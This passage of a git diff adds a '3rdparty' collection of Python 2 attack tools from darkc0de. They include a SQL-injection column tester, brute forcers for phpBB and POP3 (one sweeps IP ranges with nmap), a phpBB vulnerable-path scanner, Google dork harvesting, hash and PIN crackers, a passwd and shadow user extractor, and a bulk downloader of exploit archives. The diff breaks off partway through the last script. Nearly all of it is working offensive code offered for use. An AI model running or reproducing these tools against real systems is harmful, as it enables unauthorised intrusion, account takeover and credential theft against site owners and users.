+		#print host+path
+		source = urllib2.urlopen(host+path, "80").read()
+		md5s = re.findall("[a-f0-9]"*32,source)
+		if len(md5s) >=1:
+			print "\nHost:",host+path
+			print "Found:"
+			for md5 in md5s:
+				print "\t-",md5
+	except(urllib2.URLError, socket.timeout, socket.gaierror, socket.error):
+		pass
+	except(KeyboardInterrupt):
+		pass
+print "\n[-] Done\n"
+ 	
diff --git a/3rdparty/openports.py b/3rdparty/openports.py
new file mode 100644
index 0000000..58ff4f4
--- /dev/null
+++ b/3rdparty/openports.py
@@ -0,0 +1,54 @@
+#!/usr/bin/python
+#Takes a list of sites/ips and checks if a port is open.
+#If the port is open, saves the site/ip to a file.
+
+#Mozi Project ;)
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com 
+
+import socket, sys
+
+def title():
+	print "\n\t   d3hydr8[at]gmail[dot]com PortListScan v1.0"
+	print "\t------------------------------------------------"
+
+def write(host):
+	file = open(sys.argv[3], "a")
+	file.writelines(host+" : "+port+"\n")
+	file.close()
+
+def scan(host):
+	if host[-1] == "\n":
+		host = host[:-1]
+	print "[-] Target:",host
+	try:
+		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+		s.settimeout(4)
+		s.connect((socket.gethostbyname(host), int(port)))
+		print "\n[+] OPEN:",host, port
+		print "[+] Response:",s.recvfrom(1024)[0]
+		write(host)
+		s.close()
+	except:
+		pass
+
+if len(sys.argv) != 4:
+	title()
+	print "Usage: ./openports.py <list of sites/ips> <port> <saved file>"
+	sys.exit(1)
+	
+port = sys.argv[2]
+
+try:
+  sites = open(sys.argv[1], "r").readlines()
+except(IOError): 
+  print "\nError: Check your site list path\n"
+  sys.exit(1)
+
+title()
+print "\n[+] Sites Loaded:",len(sites)
+print "[+] Scanning...\n"
+for site in sites:
+	scan(site)
+
diff --git a/3rdparty/orderby.py b/3rdparty/orderby.py
new file mode 100644
index 0000000..4bc083c
--- /dev/null
+++ b/3rdparty/orderby.py
@@ -0,0 +1,52 @@
+#!/usr/bin/python 
+#Column length tester. (300 max) 
+ 
+#www.darkc0de.com 
+#d3hydr8[at]gmail[dot]com 
+ 
+#Fill in the error your receiving here. 
+ERROR = "mysql_fetch_assoc()" 
+#Add proxy support: Format 127.0.0.1:8080
+proxy = "None" 
+ 
+import urllib, urllib2, sys, re, httplib, socket 
+ 
+if len(sys.argv) != 2: 
+	print "\n\tUsage: ./orderby.py <site>" 
+	print "\n\tEx: ./orderby.py www.site.com/index.php?id=\n" 
+	sys.exit(1) 
+ 
+site = sys.argv[1] 
+if site[:7] != "http://": 
+	site = "http://"+site 
+if site[-1:] != "=": 
+	print "\n[-] Site must end with \'=\'\n" 
+	sys.exit(1) 
+ 
+try: 
+	if proxy != "None" or proxy != "": 
+		print "\n[+] Testing Proxy..." 
+		h2 = httplib.HTTPConnection(proxy) 
+		h2.connect() 
+		print "[+] Proxy:",proxy 
+		print "[+] Building Handler" 
+		proxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'}) 
+	else: 
+		print "\n[-] Proxy Not Given" 
+		proxy_handler = "" 
+except(socket.timeout): 
+	print "\n[-] Proxy Timed Out" 
+	sys.exit(1) 
+except: 
+	print "\n[-] Proxy Failed" 
+	sys.exit(1) 
+ 
+for num in xrange(1,300): 
+	num = str(num) 
+	print "[+] Testing:",num 
+	opener = urllib2.build_opener(proxy_handler)
+	source = opener.open(site+"-1+order+by+"+num+"/*").read() 
+     	if re.search(ERROR,source): 
+    		 print "\n\t[!] Column Length Found:",int(num)-1 
+		 print "\t[!] Site:",site+"-1+order+by+"+str(int(num)-1)+"/*\n" 
+		 sys.exit(1)
\ No newline at end of file
diff --git a/3rdparty/packext.py b/3rdparty/packext.py
new file mode 100644
index 0000000..7f47714
--- /dev/null
+++ b/3rdparty/packext.py
@@ -0,0 +1,60 @@
+#!/usr/bin/python
+#This script will extract all exploits
+#from packetstorm from 2000-previous year.
+
+#http://darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import urllib, tarfile, os, sys, time
+
+HOME_DIR = "/home/d3hydr8/exploits/"
+YEARS = ["00","01","02","03","04","05","06","07"]
+
+#Time check
+now = time.strftime("%Y", time.localtime())[2:]
+print "\n[+] Checking Years\n"
+if now == YEARS[-1]:
+	print "[!] The last year in YEARS cannot be the present year.\n"
+	sys.exit(1)
+else:
+	print "Last year:",YEARS[-1],"Current Year:",now
+	resp = raw_input("\nIs this correct? Yes or No ").lower()
+	if resp == "no":
+		print "\n[!] Modify YEARS list correctly.\n"
+		sys.exit(1)
+	elif resp == "yes":
+		print "\n[+] Starting extraction"
+	else:
+		print "\nHUH?\n"
+		sys.exit(1)
+
+#Make sure HOME_DIR ends with a "/"
+if HOME_DIR[-1] != "/":
+	HOME_DIR = HOME_DIR+"/"
+print "[+] Dir:",HOME_DIR,"\n"
+try:
+	os.chdir(HOME_DIR)
+except(OSError):
+	os.mkdir(HOME_DIR)
+	os.chdir(HOME_DIR)
+
+#Extraction process	
+for year in YEARS:
+	print "Start: 20"+year
+	try:
+		os.chdir(HOME_DIR+year+"-exploits")
+	except(OSError):
+		os.mkdir(HOME_DIR+year+"-exploits")
+		os.chdir(HOME_DIR+year+"-exploits")
+	page = "http://packetstormsecurity.org/"+year+"12-exploits/20"+year+"-exploits.tgz"
+	urllib.urlretrieve(page, "20"+year+"-exploits.tgz")
+
+	tar = tarfile.open("20"+year+"-exploits.tgz")
+	tar.extractall()
+	tar.close()
+
+	os.remove("20"+year+"-exploits.tgz")
+	print "Done: 20"+year
+	
+print "\n[++] Operation Complete\n"
+
diff --git a/3rdparty/passext.py b/3rdparty/passext.py
new file mode 100644
index 0000000..65acede
--- /dev/null
+++ b/3rdparty/passext.py
@@ -0,0 +1,29 @@
+#!/usr/bin/python
+#(2 ways)Saves highlighting & delete time by printing out 
+#just the users on a system.
+#d3hydr8[at]gmail[dot]com 
+
+import sys 
+if len(sys.argv) != 2:
+	print "Usage: ./passext.py </etc/passwd file>"
+	sys.exit(1)
+
+pwfile = sys.argv[1]
+try:
+  pws = open(pwfile, "r")
+except(IOError): 
+  print "Error: Check your file path\n"
+  sys.exit(1)
+pws = pws.readlines()
+print "\n1st Way:\n"
+for i in pws:
+	print i.split(':',1)[0]
+print "\n2nd Way:\n"
+try:
+	import spwd
+except(ImportError):
+	print "Missing spwd module the comes with py2.5\n"
+	sys.exit(1)
+lst = spwd.getspall()
+for user in lst: print user[0]
+	
\ No newline at end of file
diff --git a/3rdparty/passgen.py b/3rdparty/passgen.py
new file mode 100644
index 0000000..81d2b5a
--- /dev/null
+++ b/3rdparty/passgen.py
@@ -0,0 +1,70 @@
+#!/usr/bin/python
+#Password generater that uses type and length.
+#There are 4 types to use: alphanum, alpha, alphacap, all
+#d3hydr8[at]gmail[dot]com
+
+import random, sys
+
+def title():
+	print "\n\t   d3hydr8[at]gmail[dot]com Password Gen v1.1"
+	print "\t-----------------------------------------------\n"
+	
+def passgen(choice, length):
+	
+	passwd = ""
+	
+	alphanum = ('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ')
+	alpha = ('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ')
+	alphacap = ('ABCDEFGHIJKLMNOPQRSTUVWXYZ')
+	all = ('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+=~`[]{}|\:;"\'<>,.?/')
+	
+	if str(choice).lower() == "alphanum":
+		choice = alphanum
+
+	elif str(choice).lower() == "alpha":
+		choice = alpha
+			
+	elif str(choice).lower() == "alphacap":
+		choice = alphacap
+	
+	elif str(choice).lower() == "all":
+		choice = all
+		
+	else: 
+		print "Type doesn't match\n"
+		sys.exit(1)
+		
+	return passwd.join(random.sample(choice, int(length)))
+		
+title()
+if len(sys.argv) <= 3 or len(sys.argv) == 5:
+	print "\nUsage: ./passgen.py <type> <length of password> <how many>"
+	print "\t[options]"
+	print "\t   -w/-write <file> : Writes passwords to file\n"
+	print "There are 4 types to use: alphanum, alpha, alphacap, all\n"
+	sys.exit(1)
+
+for arg in sys.argv[1:]:
+	if arg.lower() == "-w" or arg.lower() == "-write":
+		txt = sys.argv[int(sys.argv[1:].index(arg))+2]
+
+if sys.argv[3].isdigit() == False:
+	print sys.argv[3],"must be a number\n"
+	sys.exit(1)
+if sys.argv[2].isdigit() == False:
+	print sys.argv[2],"must be a number\n"
+	sys.exit(1)
+try:
+	if txt:
+		print "[+] Writing Data:",txt
+		output = open(txt, "a")
+except(NameError):
+	txt = None
+	pass
+
+for x in xrange(int(sys.argv[3])):
+	if txt != None:
+		output.writelines(passgen(sys.argv[1],sys.argv[2])+"\n")
+	else:
+		print "Password:",passgen(sys.argv[1],sys.argv[2])
+print "\n[-] Done\n"
\ No newline at end of file
diff --git a/3rdparty/phpBBbrute.py b/3rdparty/phpBBbrute.py
new file mode 100644
index 0000000..34b3ab3
--- /dev/null
+++ b/3rdparty/phpBBbrute.py
@@ -0,0 +1,108 @@
+#!usr/bin/python
+#phpBB Brute Forcer POC
+#POC because of the 5 login attempts for 30 min, proxies?
+#
+#To use this script you need ClientCookie and Client Form.
+#http://wwwsearch.sourceforge.net/ClientCookie/src/ClientCookie-1.0.3.tar.gz
+#http://wwwsearch.sourceforge.net/ClientForm/src/ClientForm-0.1.17.tar.gz
+#To install the package, run the following command:
+#python setup.py build
+#then (with appropriate permissions)
+#python setup.py install
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import threading, time, random, sys, socket, httplib, re
+try:
+	sys.path.append('ClientCookie-1.0.3')
+	import ClientCookie
+	sys.path.append('ClientForm-0.1.17')
+	import ClientForm
+except(ImportError):
+	print "\nTo use this script you need ClientCookie and Client Form."
+	print "Read the top intro for instructions.\n"
+	sys.exit(1)
+from copy import copy
+
+if len(sys.argv) !=4:
+	print "Usage: ./phpBBbrute.py <server> <user> <wordlist>"
+	sys.exit(1)
+
+try:
+  	words = open(sys.argv[3], "r").readlines()
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+print "\n\t   d3hydr8[at]gmail[dot]com phpBBBruteForcer v1.0"
+print "\t--------------------------------------------------\n"
+print "[+] Server:",sys.argv[1]
+print "[+] User:",sys.argv[2]
+print "[+] Words Loaded:",len(words),"\n"
+
+headers = ["Mozilla/5.0 (compatible)", "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)", "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)", "Windows-RSS-Platform/1.0 (MSIE 7.0; Windows NT 5.1)", "Windows NT 6.0 (MSIE 7.0)", "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)", "Windows NT 4.0 (MSIE 5.0)"]
+wordlist = copy(words)
+
+def reloader():
+	for word in wordlist:
+		words.append(word)
+
+def getword():
+	lock = threading.Lock()
+	lock.acquire()
+	if len(words) != 0:
+		value = random.sample(words,  1)
+		words.remove(value[0])
+		
+	else:
+		print "Reloading Wordlist\n"
+		reloader()
+		value = random.sample(words,  1)
+		
+	lock.release()
+	return value[0]
+		
+class Worker(threading.Thread):
+	
+	def run(self):
+		global success
+		value = getword()
+		try:
+			print "-"*12
+			print "User:",sys.argv[2],"Password:",value
+			cookieJar = ClientCookie.CookieJar()
+			opener = ClientCookie.build_opener(ClientCookie.HTTPCookieProcessor(cookieJar))
+			opener.addheaders = [("User-agent", random.sample(headers,  1)[0])]
+			ClientCookie.install_opener(opener)
+			fp = ClientCookie.urlopen(sys.argv[1])
+			forms = ClientForm.ParseResponse(fp)
+			form = forms[0]
+			form["username"] = sys.argv[2] 
+			form["password"] = value      
+			fp = ClientCookie.urlopen(form.click())
+			site = fp.readlines()
+			for line in site:
+				if re.search("invalid password", line.lower()) != None:
+					print "\tSuccessful Login:", value
+					print line
+					success =  value
+					sys.exit(1)
+				if re.search("The maximum number of 5 login attempts has been exceeded.",line):
+					print "Attempts exceeded" 
+			fp.close()
+		except(socket.gaierror), msg: 
+			pass
+ 
+for i in range(len(words)):
+	work = Worker()
+	work.start()
+	time.sleep(1)
+time.sleep(3)
+try:
+	if success:
+		print "\n\n[+] Successful Login:",sys.argv[1]
+		print "[+] User:",sys.argv[2]," Password:",success
+except(NameError):
+	print "\n[+] Couldn't find correct password"
+	pass
+print "\n[+] Done\n"
diff --git a/3rdparty/phpbbmembers.py b/3rdparty/phpbbmembers.py
new file mode 100644
index 0000000..d79246a
--- /dev/null
+++ b/3rdparty/phpbbmembers.py
@@ -0,0 +1,37 @@
+#!/usr/bin/python
+#Searches phpBB's memberlist.php and extracts users.
+#d3hydr8[at]gmail[dot]com 
+
+import urllib, sys, re, time
+
+if len(sys.argv) != 2:
+	print "\nUsage: ./phpBBmembers.py <url>"
+	print "Ex: ./phpbbmembers.py http://www.site.com/phpbb/memberlist.php\n"
+	sys.exit(1)
+	
+url = sys.argv[1]
+if url[:7] != "http://":
+	url = "http://"+url
+print "\nSearching:",url 
+
+site = urllib.urlopen(url).read()
+users = re.findall("u=\d*&amp;sid=\w+\" >\w+</a>", site)
+if len(users) >= 1:
+	print "\nAttempt failed: Trying another\n"
+else:
+	users = re.findall("\">\w+</a>", site)
+print "Found:",len(users),"\n"
+time.sleep(3)
+for user in users:
+	u = user.split('>') 
+	mem = u[1].replace("</a", "")
+	#Lets take care of some garbage.
+	if mem.isdigit() == False and mem != "Next" and mem != "phpBB": 
+		print mem
+
+
+	
+	
+
+
+
diff --git a/3rdparty/phpbbscan.py b/3rdparty/phpbbscan.py
new file mode 100644
index 0000000..80182c5
--- /dev/null
+++ b/3rdparty/phpbbscan.py
@@ -0,0 +1,143 @@
+#!/usr/bin/python
+#This is a phpBB scanner, searches if vulnerable paths
+#exist. Put phpvuln.txt in the dir
+#at which you are running this script.
+#Every path in phpvuln.txt has a vuln. or an exploit for it.
+#(considering its the right version)
+
+#Changelog v1.2 : added update function
+
+#Changelog v1.1 : added verbose mode, changed http 
+#response bug, added new vuln. paths
+
+#http://www.darkc0de.com
+##d3hydr8[at]gmail[dot]com
+
+import sys, httplib, time, urllib2
+
+def getserv(path):
+
+	try:
+		h = httplib.HTTP(host+":"+port)
+		h.putrequest("HEAD", path)
+		h.putheader("Host", host)
+		h.endheaders()
+		status, reason, headers = h.getreply()
+	except: 
+		print "\n[-] Error: Name or service not known. Check your host.\n"
+		sys.exit(1)
+	return status, reason, headers.get("Server")
+
+def timer():
+	now = time.localtime(time.time())
+	return time.asctime(now)
+
+def title():
+	print "\n\t   d3hydr8[at]gmail[dot]com PhpBBscanner v1.2"
+	print "\t--------------------------------------------------"
+
+def update():
+	try:
+		lines = open("phpvuln.txt", "r").readlines()
+	except(IOError): 
+ 		print "[-] Error: Check your phpvuln.txt path and permissions"
+		print "[-] Update Failed\n"
+		sys.exit(1)
+	try:
+		paths = urllib2.urlopen("http://www.darkc0de.com/scanners/phpvuln.txt").readlines()
+	except:
+		print "[-] Error: Couldn't connect to remote database"
+		print "[-] Update Failed\n"
+		sys.exit(1)
+	if len(paths) > len(lines):
+		dif = int(len(paths)-len(lines))
+		print "[+] Found:",dif,"updates"
+		print "\n[+] Writing Updates"
+		file = open("phpvuln.txt", "a")
+		for path in paths[-dif:]:
+			if path[-1:] == "\n":
+				path = path[:-1]
+			print "[+] New:",path
+			file.writelines(path+"\n")
+		file.close()
+		print "\n[+] Update Complete\n"
+	else:
+		print "[-] No Updates Available\n"
+	sys.exit(1)
+
+if len(sys.argv) >= 5 or len(sys.argv) == 1:
+	title()
+	print "\n\t[+] Usage: ./phpbbscan.py <host> <port>\n"
+	print "\t[options]"
+	print "\t   -v/-verbose : Shows all http requests and responses"
+	print "\t   -u/-update : Updates phpvuln.txt with the latest"
+	print "\n\t[+] Ex. ./phpbbscan.py -update"
+	print "\t[+] Ex. ./phpbbscan.py google.com 80 -verbose\n"
+	sys.exit(1)
+
+title()
+
+if sys.argv[1].lower() == "-u" or sys.argv[1].lower() == "-update":
+	print "\n[+] Updating Database File"
+	update()
+	
+host = sys.argv[1]
+port = sys.argv[2]
+
+for arg in sys.argv[1:]:
+	if arg.lower() == "-v" or arg.lower() == "-verbose":
+		verbose = 1
+	else:
+		verbose = 0
+
+if host[:7] == "http://":
+	host = host.replace("http://","")
+if host[-1] == "/":
+	host = host[:-1]
+	
+print "[+] Getting responses" 
+okresp,reason,server = getserv("/")
+badresp = getserv("/d3hydr8.html")[:1]
+
+if okresp == badresp[0]:
+	print "\n[-] Responses matched, try another host.\n"
+	sys.exit(1)
+else:
+	print "\n[+] Target host:",host
+	print "[+] Target port:",port
+	print "[+] Target server:",server
+	print "[+] Target OK response:",okresp
+	print "[+] Target BAD response:",badresp[0], reason
+	print "[+] Scan Started at",timer()
+	if verbose ==1:
+		print "\n[+] Verbose Mode On"
+
+dirs = ["/","/bb/","/phpbb/","/forum/","/forums/","/phpBB2/","/phpbb/phpBB2/"]
+
+try:
+	lines = open("phpvuln.txt", "r").readlines()
+	print "\n[+]",len(lines)*len(dirs),"paths loaded\n"
+except(IOError): 
+ 	print "[-] Error: Check your vulnerabilities list path\n"
+	sys.exit(1)
+
+vulns = []
+print "[+] Scanning...\n" 
+for d in dirs:
+	for line in lines:
+		status, reason = getserv(d+line[:-1])[:2]
+		if verbose ==1:
+			print "[+]",status,reason,":",d+line,"\n"
+		if status == okresp:
+			vulns.append(d+line)
+			print "\t[!]",status,reason,":",d+line,"\n"
+		if status == int(401):
+			print "\t--",status,reason,":Needs Authentication [",d+line,"]\n"
+		
+if len(vulns) == 0:
+	print "[-] Couldn't find any vuln. paths\n"
+else:
+	print "[!] Found",len(vulns),"possible vulnerabilities, check manually.\n"
+	for vuln in vulns:
+		print "\t[+] ",vuln
+print "\n[+] Scan completed at", timer(),"\n"
\ No newline at end of file
diff --git a/3rdparty/phpbbver.py b/3rdparty/phpbbver.py
new file mode 100644
index 0000000..a3bbbbd
--- /dev/null
+++ b/3rdparty/phpbbver.py
@@ -0,0 +1,63 @@
+#!/usr/bin/python
+#Searches google for phpBB versions using the 
+#/docs/CHANGELOG.html.
+#d3hydr8[at]gmail[dot]com
+
+import urllib2, sys, re, string, urllib
+
+def gethosts(q):
+	
+	counter =  10
+	hits = []
+	
+	while counter < num:
+		url = 'http://www.google.com/search?hl=en&q=%22'+q+'%22&hl=en&lr=&start='+repr(counter)+'&sa=N'
+		opener = urllib2.build_opener(url)
+		opener.addheaders = [('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')]
+		data = opener.open(url).readlines()
+		for line in data:
+			hit = re.findall("\w+\.\w+\.?\w+./?\w+./?\w+./", line)
+			for x in hit:
+				if x != []:
+					#Lets get rid of the nonsense and google hosts..this could
+					#be done with a better regex but i havn't recieved one yet
+					if re.search(r'\(', x) or re.search("<", x) or re.search("google", x): pass
+					else: 
+						if x not in hits: hits.append(x)
+													
+		counter += 10
+	print "\n\tLoaded",len(hits),"hosts...\n"
+	return hits
+			
+def scanner(hits):
+	
+	#add more directorys here
+	dirs = ["/","/bb/","/phpbb/","/forum/","/forums/","/phpBB2/","/phpbb/phpBB2/"]
+	
+	for url in hits:
+		for d in dirs:
+			if url[:7] != "http://":
+				url = "http://"+url
+			host = url[:-1]+d+"docs/CHANGELOG.html"
+			try:
+				print "Trying -",host
+				site = urllib.urlopen(host).readlines()
+			except(urllib2.HTTPError,IOError):
+				pass
+			for line in site:
+				hit = re.findall("<title>phpBB", line)
+				if hit != []:
+					print "\n\tFound:",line.replace("<title>","").replace("</title>",""),"\n"
+	
+#................................................
+	
+if len(sys.argv) != 2:
+	print "Usage ./phpbbver.py <num of hosts>"
+	sys.exit(1)
+else:
+	#add more querys here
+	query = ["Powered+by+phpBB", "inurl:/phpbb/", "inurl:/phpBB2/"]
+	num = int(sys.argv[1])
+	for q in query:
+		print "\nQuery:",q
+		scanner(gethosts(q))
diff --git a/3rdparty/pincrack.py b/3rdparty/pincrack.py
new file mode 100644
index 0000000..8279445
--- /dev/null
+++ b/3rdparty/pincrack.py
@@ -0,0 +1,85 @@
+#!/usr/bin/env python
+#This will crack any 4 digit number in 6 different encryptions.
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import sys, base64
+
+try: 
+	import hashlib
+except(ImportError):
+	print "\n[-] You need the hashlib module installed, upgrade to python 2.5\n" 	
+	sys.exit(1)
+
+def show(first):
+	if sys.argv[2] == "md5":
+		if sys.argv[1] == hashlib.md5(''.join(first)).hexdigest():
+	    		print "\n\t[!] Cracked:",''.join(first),"\n"
+	if sys.argv[2] == "sha1":
+		if sys.argv[1] == hashlib.sha1(''.join(first)).hexdigest():
+	    		print "\n\t[!] Cracked:",''.join(first),"\n"
+	if sys.argv[2] == "sha224":
+		if sys.argv[1] == hashlib.sha224(''.join(first)).hexdigest():
+	    		print "\n\t[!] Cracked:",''.join(first),"\n"
+	if sys.argv[2] == "sha256":
+		if sys.argv[1] == hashlib.sha256(''.join(first)).hexdigest():
+	    		print "\n\t[!] Cracked:",''.join(first),"\n"
+	if sys.argv[2] == "sha384":
+		if sys.argv[1] == hashlib.sha384(''.join(first)).hexdigest():
+	    		print "\n\t[!] Cracked:",''.join(first),"\n"
+	if sys.argv[2] == "sha512":
+		if sys.argv[1] == hashlib.sha512(''.join(first)).hexdigest():
+	    		print "\n\t[!] Cracked:",''.join(first),"\n"
+
+def main(first, start, second=[]):
+	if not start: return show(second)
+    	for i in range(len(first)):
+        	second.append(first.pop(i))
+        	main(first, start-1, second)
+        	first.insert(i, second.pop())
+
+if len(sys.argv) != 3:
+	print "\nUsage: ./pincrack.py <string> <type>\n"
+	print "\tTypes: md5, sha1, sha224, sha256, sha384, sha512\n"
+	sys.exit(1)
+	
+print "\n   d3hydr8[at]gmail[dot]com PinCrack v1.0"
+print "--------------------------------------------"
+	
+sys.argv[2] = sys.argv[2].lower()
+	
+if sys.argv[2] == "md5":
+	if len(sys.argv[1]) != 32:
+		print "\n[-] Inproper length for md5 hash.\n"
+		sys.exit(1)
+		
+if sys.argv[2] == "sha1":
+	if len(sys.argv[1]) != 40:
+		print len(sys.argv[1])
+		print "\n[-] Inproper length for sha1 hash.\n"
+		sys.exit(1)
+		
+if sys.argv[2] == "sha224":
+	if len(sys.argv[1]) != 56:
+		print "\n[-] Inproper length for sha224 hash.\n"
+		sys.exit(1)
+		
+if sys.argv[2] == "sha256":
+	if len(sys.argv[1]) != 64:
+		print "\n[-] Inproper length for sha256 hash.\n"
+		sys.exit(1)
+		
+if sys.argv[2] == "sha384":
+	if len(sys.argv[1]) != 96:
+		print "\n[-] Inproper length for sha384 hash.\n"
+		sys.exit(1)
+		
+if sys.argv[2] == "sha512":
+	if len(sys.argv[1]) != 128:
+		print "\n[-] Inproper length for sha512 hash.\n"
+		sys.exit(1)
+
+print "\n[+] String:",sys.argv[1]
+print "[+] Encryption:",sys.argv[2]
+main(list("0123456789"), 4)
\ No newline at end of file
diff --git a/3rdparty/plaincrack.py b/3rdparty/plaincrack.py
new file mode 100644
index 0000000..1adaf95
--- /dev/null
+++ b/3rdparty/plaincrack.py
@@ -0,0 +1,73 @@
+#!usr/bin/python
+#Creates a list of all the cracked md5's 
+#from plain-text.info and writes them to a file.
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import sys, re, urllib2, time, urllib
+
+def StripTags(text):
+    	finished = 0
+    	while not finished:
+        	finished = 1
+        	start = text.find("<")
+		if start >= 0:
+			stop = text[start:].find(">")
+			if stop >= 0:
+				text = text[:start] + text[start+stop+1:]
+				finished = 0
+    	return text
+
+
+print "\n\t   d3hydr8[at]gmail[dot]com PlainCrack v1.0"
+print "\t----------------------------------------------\n"
+
+if len(sys.argv) != 2:
+	print "\nUsage: ./plaincrack.py <file to save>"
+	print "Ex: ./plaincrack.py <md5db.txt>\n"
+	sys.exit(1)
+
+start = 1
+file = open(sys.argv[1], "a")
+site = "http://www.plain-text.info/view/action/viewallhashes/page/"
+
+print "[+] Collecting Database...\n"
+
+while 1:
+	
+	md5s = []
+	
+	try:
+		time.sleep(5)
+		source = urllib2.urlopen(site+str(start), "80").readlines()
+
+		print "\n[+] Page Loaded:",start
+		for line in source:
+			if re.search("[a-f0-9]"*32,line):
+				md5s.append(StripTags(line))
+		print "[+] Collected:",len(md5s)
+		print "[+] Cracking MD5s\n"
+		start +=1
+		for md5 in md5s:
+			if md5[-2:] == "\r\n":
+				md5 = md5[:-2]
+			index = [index for index,line in enumerate(source) if md5 in line][0]+1
+			passwd = re.sub("\r\n","",StripTags(source[int(index)]))
+			if passwd != "": 
+				print "[+] Cracked:",md5,"|",passwd
+				file.writelines(md5+" : "+passwd+"\n")
+
+		if len(md5s) == 0:
+			break
+	except(urllib2.URLError):
+		pass
+	except(KeyboardInterrupt):
+		print "\n[-] Cancelled\n"
+		sys.exit(1)
+	
+file.close()
+print "\n[+] Finished Collecting"
+print "[+] Wrote md5s:",sys.argv[1]
+print "\n[-] Done\n"
+
diff --git a/3rdparty/popbrute.py b/3rdparty/popbrute.py
new file mode 100644
index 0000000..33894ed
--- /dev/null
+++ b/3rdparty/popbrute.py
@@ -0,0 +1,84 @@
+#!usr/bin/python
+#Pop3 Brute Forcer
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import threading, time, random, sys, poplib
+from copy import copy
+
+if len(sys.argv) !=4:
+	print "Usage: ./popbrute.py <server> <userlist> <wordlist>"
+	sys.exit(1)
+
+try:
+  	users = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  	print "Error: Check your userlist path\n"
+  	sys.exit(1)
+  
+try:
+  	words = open(sys.argv[3], "r").readlines()
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+	
+try:
+	pop = poplib.POP3(sys.argv[1])
+	welcome = pop.getwelcome()
+	pop.quit()
+except (poplib.error_proto): 
+	welcome = "No Response"
+	pass
+
+print "\n\t   d3hydr8[at]gmail[dot]com popBruteForcer v1.0"
+print "\t--------------------------------------------------\n"
+print "[+] Server:",sys.argv[1]
+print "[+] Users Loaded:",len(users)
+print "[+] Words Loaded:",len(words)
+print "[+] Server response:",welcome,"\n"
+
+wordlist = copy(words)
+
+def reloader():
+	for word in wordlist:
+		words.append(word)
+
+def getword():
+	lock = threading.Lock()
+	lock.acquire()
+	if len(words) != 0:
+		value = random.sample(words,  1)
+		words.remove(value[0])
+		
+	else:
+		print "Reloading Wordlist - Changing User\n"
+		reloader()
+		value = random.sample(words,  1)
+		users.remove(users[0])
+		
+	lock.release()
+	return value[0][:-1], users[0][:-1]
+		
+class Worker(threading.Thread):
+	
+	def run(self):
+		value, user = getword()
+		try:
+			print "-"*12
+			print "User:",user,"Password:",value
+			pop = poplib.POP3(sys.argv[1])
+			pop.user(user)
+			pop.pass_(value)
+			print "\t\nLogin successful:",value, user
+			print pop.stat()
+			pop.quit()
+			work.join()
+			sys.exit(2)
+		except (poplib.error_proto), msg: 
+			#print "An error occurred:", msg
+			pass
+ 
+for i in range(len(words)*len(users)):
+	work = Worker()
+	work.start()
+	time.sleep(1)
diff --git a/3rdparty/popbrute_iprange.py b/3rdparty/popbrute_iprange.py
new file mode 100644
index 0000000..01a6e50
--- /dev/null
+++ b/3rdparty/popbrute_iprange.py
@@ -0,0 +1,100 @@
+#!usr/bin/python
+#Pop3 Brute Forcer, searches ip_range for hosts using pop3.
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import threading, time, StringIO, commands, random, sys, poplib, re
+from copy import copy
+
+if len(sys.argv) !=4:
+	print "Usage: ./popbrute_iprange.py <ip_range> <userlist> <wordlist>"
+	sys.exit(1)
+
+try:
+  	users = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  	print "Error: Check your userlist path\n"
+  	sys.exit(1)
+  
+try:
+  	words = open(sys.argv[3], "r").readlines()
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+print "\n\t   d3hydr8[at]gmail[dot]com popBruteForcer v1.0"
+print "\t--------------------------------------------------\n"
+print "[+] Scanning:",sys.argv[1]
+print "[+] Users Loaded:",len(users)
+print "[+] Words Loaded:",len(words)
+
+wordlist = copy(words)
+
+def scan():
+
+	iprange = sys.argv[1]
+	ip_list = []
+	
+	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 110 | grep open -B 3')[1]).readlines()
+	
+	for tmp in nmap:
+		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
+		if ipaddr:
+	    		ip_list.append(ipaddr[0])
+	return ip_list
+
+def reloader():
+	for word in wordlist:
+		words.append(word)
+
+def getword():
+	lock = threading.Lock()
+	lock.acquire()
+	if len(words) != 0:
+		value = random.sample(words,  1)
+		words.remove(value[0])
+		
+	else:
+		reloader()
+		value = random.sample(words,  1)
+		
+	lock.release()
+	return value[0][:-1]
+		
+class Workhorse(threading.Thread):
+	
+	def run(self):
+		value = getword()
+		try:
+			print "-"*12
+			print "User:",user[:-1],"Password:",value
+			pop = poplib.POP3(ip)
+			pop.user(user[:-1])
+			pop.pass_(value)
+			print "\t\nLogin successful:",value, user
+			print pop.stat()
+			pop.quit()
+			work.join()
+			sys.exit(2)
+		except(poplib.error_proto), msg: 
+			#print "An error occurred:", msg
+			pass
+ 
+ip_list = scan()
+print "[+] Hosts Loaded:",len(ip_list),"\n"
+for ip in ip_list:
+	try:
+		pop = poplib.POP3(ip)
+		welcome = pop.getwelcome()
+		pop.quit()
+	except (poplib.error_proto): 
+		welcome = "No Response"
+		pass
+	print "\n\tAttempting BruteForce:",ip,"\n"
+	print "Server Response:",welcome,"\n"
+	for user in users:
+		for i in range(len(words)):
+			if i == 0: reloader()
+			work = Workhorse()
